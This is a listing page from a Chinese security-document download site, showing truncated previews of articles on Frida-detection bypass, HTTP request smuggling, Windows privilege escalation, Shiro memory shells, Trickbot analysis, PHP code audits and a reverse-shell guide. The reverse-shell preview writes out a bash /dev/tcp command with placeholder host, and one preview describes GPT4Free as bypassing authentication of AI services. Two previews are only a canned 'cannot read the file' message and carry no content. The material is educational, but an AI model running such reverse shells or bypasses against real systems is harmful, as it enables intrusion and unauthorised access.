爱豆文档 - 信息安全文档下载平台 - idocdown.com （部分文档，免费下载）

. . . . . .

某企业版加固app绕过hook

# 企业版加固APP绕过Frida Hook技术分析 ## 1. 环境准备 - **测试设备**: Pixel 2 - **目标APP**: 某企业版加固APP(具体名称未透露) - **工具版本**: Frida 15.1.28 ## 2. Frida检测绕过技术 ### 2.1 初步检测分析发现直接使用Frida进行hook会导致APP闪退，但更改Frida端口后未检测到防护行为，表明APP可能通过以下方式检测Frida: - 检测默认Frida端口 - 检测Frida相关进程

2025-08-18 19:42:22

太阿静态分析检测Log4Shell

# 太阿静态分析检测Log4Shell漏洞教学文档 ## 0x01 Tai-e污点分析方案 ### Java污点分析的两大难点 1. **别名关系**：处理对象引用间的别名问题 2. **动态反射**：处理Java反射机制带来的分析困难 ### Tai-e解决方案 1. **基于指针分析的架构**： - 将污点转换成对象 - 利用指针分析传播污点数据，自然解决别名关系问题 2. **先进的反射分析**： - 采用2019年提出的、目前推导能力最强的静态反射分析技术 #

2025-08-18 19:41:16

太阿分析JavaWeb系统-添加入口点

抱歉，无法读取该文件。请更新其他文件，我可以为你进行总结。

2025-08-18 19:39:45

请求走私利用实践一篇通

# HTTP请求走私攻击全面指南 ## 1. HTTP请求走私概述 HTTP请求走私是一种干扰网站处理HTTP请求序列的技术，允许攻击者绕过安全控制、获取敏感数据并危害其他用户。这种攻击主要发生在前端服务器和后端服务器对客户端传入数据理解不一致的情况下。 ### 1.1 基本原理 HTTP规范提供了两种指定请求结束位置的方法： - **Content-Length**：指示请求或响应消息体的长度（字节） - **Transfer-Encoding**：指定消息正文使用分块编码当这两种

2025-08-18 19:39:26

Windows之任意文件删除到提权

# Windows任意文件删除漏洞提权技术深度解析 ## 前言本文深入分析Windows系统中从任意文件/文件夹删除漏洞到系统提权的技术原理和实现方法。ZDI曾发表过相关研究，展示了如何通过这类漏洞提升至SYSTEM权限。我们将结合多个CVE案例(CVE-2022-21838、CVE-2023-21752等)详细解析这一提权手法的技术细节。 ## 技术原理基础 ### DACL与文件权限 - **DACL(自由访问控制列表)**：Windows文件系统的安全机制，属于ACL(访问控制

2025-08-18 19:38:16

tabby静态分析实践

# Tabby静态分析实践指南 ## 0x01 Tabby测试 ### 1a 工具印象 Tabby是一个基于代码属性图的Java静态分析工具，主要特点包括： - 支持分析编译后的War包、Jar包等形式 - 工作流程分为两个阶段： - 代码属性图生成阶段：由tabby.core负责生成带污点信息的代码属性图 - 漏洞发现阶段：使用neo4j扩展tabby path finder查询source-sink语句寻找调用链路 ### 1b 安装和运行 **环境准备：** 1. 下载N

2025-08-18 19:37:09

JAVA代码审计-SpringSecurity权限绕过分析

抱歉，无法读取该文件。请更新其他文件，我可以为你进行总结。

2025-08-18 19:35:37

gpt4free源码分析

# GPT4Free源码分析与使用指南 ## 项目概述 GPT4Free是一个开源项目，允许用户免费使用GPT模型（包括GPT-3.5和GPT-4）的接口。该项目通过分析公开可用的GPT服务的安全漏洞和认证机制，实现了绕过认证直接使用这些服务的目的。项目地址：https://github.com/xtekky/gpt4free ## 支持的接口 ### GPT-3.5接口 - Bing - ChatgptAi - GptGo - GeekGpt - You - Chatgpt4Onl

2025-08-18 19:35:18

shiro注入filter内存马及tomcat版本对获取context影响的分析

# Shiro注入Filter内存马及Tomcat版本对获取Context影响的分析 ## 前言本文详细分析了在Shiro框架中注入Filter型内存马的技术实现，以及Tomcat版本差异对获取StandardContext的影响。通过实际案例演示了内存马的注入过程，并深入探讨了在不同Tomcat版本中遇到的问题及解决方案。 ## 环境配置及准备 - **Tomcat版本**： - 正确版本：Tomcat 8.5.50 - 问题版本：Tomcat 8.5.79 - **Shir

2025-08-18 19:23:48

Trickbot新变种分析

# Trickbot新变种分析教学文档 ## 1. Trickbot概述 Trickbot是一种模块化银行木马，最初作为简单的银行恶意软件出现，但不断被犯罪分子添加新功能。它具有高度模块化的结构，可以通过从C2服务器下载新模块来快速更新功能。 ## 2. Trickbot模块分析 ### 2.1 pwgrab32模块（密码抓取模块） **功能**： - 从各种应用程序窃取凭证 - 从主流浏览器窃取敏感信息 **窃取目标**： - 应用程序： - Filezilla - Mic

2025-08-18 19:22:08

反弹shell方式汇总

# 反弹Shell方式全面指南 ## 1. 反弹Shell基础概念反弹Shell(Reverse Shell)是一种攻击技术，使目标机器主动连接攻击者控制的机器，从而绕过防火墙限制。与正向Shell相比，反弹Shell在渗透测试中更为常用。 ## 2. Bash反弹Shell ### 基本形式 ```bash bash -i >& /dev/tcp/[host]/[port] 0>&1 /bin/bash -i > /dev/tcp/[host]/[port] 0&1 ``

2025-08-18 19:21:05

代码审计 - PHP - 再谈西湖论剑PHPEMS

# PHPEMS代码审计与漏洞利用分析 ## 1. 系统概述 PHPEMS是一个基于PHP的考试管理系统，本次分析主要针对其存在的安全漏洞，包括SQL注入和Phar反序列化漏洞。 ## 2. 漏洞分析 ### 2.1 SQL注入漏洞 #### 2.1.1 漏洞位置漏洞存在于SQL语句构建过程中，关键代码如下： ```php $db_limits = $this->_mostlimits; $db_groups = $db_groups?' GROUP BY '.$db_group

2025-08-18 19:17:35

跳转到页